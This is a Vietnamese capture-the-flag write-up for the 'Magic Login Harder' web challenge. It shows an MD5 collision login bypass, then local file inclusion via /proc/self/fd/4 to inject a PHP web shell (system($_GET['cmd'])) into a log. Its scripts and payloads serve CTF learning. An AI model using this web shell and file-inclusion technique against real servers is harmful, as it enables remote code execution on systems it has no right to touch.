# Magic Login Harder ![](https://hackmd.io/_uploads/SkjvEKdpn.png) ## Recon ![](https://hackmd.io/_uploads/B19K4tdT2.png) Giống như bài magic login trước lần này chúng ta lại được nhận một chỗ để có thể điền username với password Bằng việc sử dụng source code mình có thể thấy được cách mà chương trình mã hóa như sau ![](https://hackmd.io/_uploads/SJVHStda2.png) Đầu tiên ta có thể thấy được rằng khi giá trị được chuyền vào sẽ bị decode bởi base64 sau khi decode xong thì sẽ được kiểm tra xem username và password có giống nhau không nếu không thì được hash bởi md5 nếu như giống nhau thì ta được vào trong trang web không thì lại in ra username với password bị sai # Exploit Như vậy việc của chúng ta chính là tìm cách nào đó để khiến cho dữ liệu sau khi bị decode bởi base64 thì sẽ dẫn đến hash collision trường hợp mà khi hai giá trị hash ra giống như nhau. Sau một hồi nghiên cứu thì mình cũng đã được biết những ký tự nào có thể dẫn đến hash collision trong md5 các bạn có thể xem ở [đây](https://www.mscs.dal.ca/~selinger/md5collision/) Vậy giờ thì ta sẽ triển khai payload thôi nhỉ sau khi decode bằng một đoạn mã như sau ```python= import base64 a = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70" b = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70" a = bytes.fromhex(a) b = bytes.fromhex(b) print(base64.b64encode(a)) print(base64.b64encode(b)) ``` và chạy thử url là "/admin.php?file=1.txt" thì mình đã thu được ![](https://hackmd.io/_uploads/rylCPKu62.png) Vậy là chúng ta đã bypass thành công rồi Giờ cần tìm cách để có thể đưa được mã code của chúng ta vào thôi nhưng trước khi làm hãy học thêm một chút về "/proc/self/fd/n" theo như mình tìm hiểu và cũng hỏi một vài người thì ta có thể rút ra được như sau - Đầu tiên /proc là để lưu lại quá trình hiện tại của người dùng viết tắt của process - self để lấy information about itself, self giúp chỉ hướng tới process hiện tại mà không cần process id. Có thể thay self bằng các PID khác. Thử với url ```admin.php?file=/proc/self/fd/4``` ta có thể thấy được ![](https://hackmd.io/_uploads/SkDXRFu6h.png) Vậy giờ ta sẽ chèn vào đó câu lệnh của chính chúng ta và khiến nó hiện lên trên process của chúng ta ```python= import hashlib import base64 x = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70" y = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70" x = bytes.fromhex(x) y = bytes.fromhex(y) z = b"<?php system($_GET['cmd']);?>" print(base64.b64encode(x+z)) print(base64.b64encode(y+z)) ``` ## Flag ![](https://hackmd.io/_uploads/H1_1e9up2.png)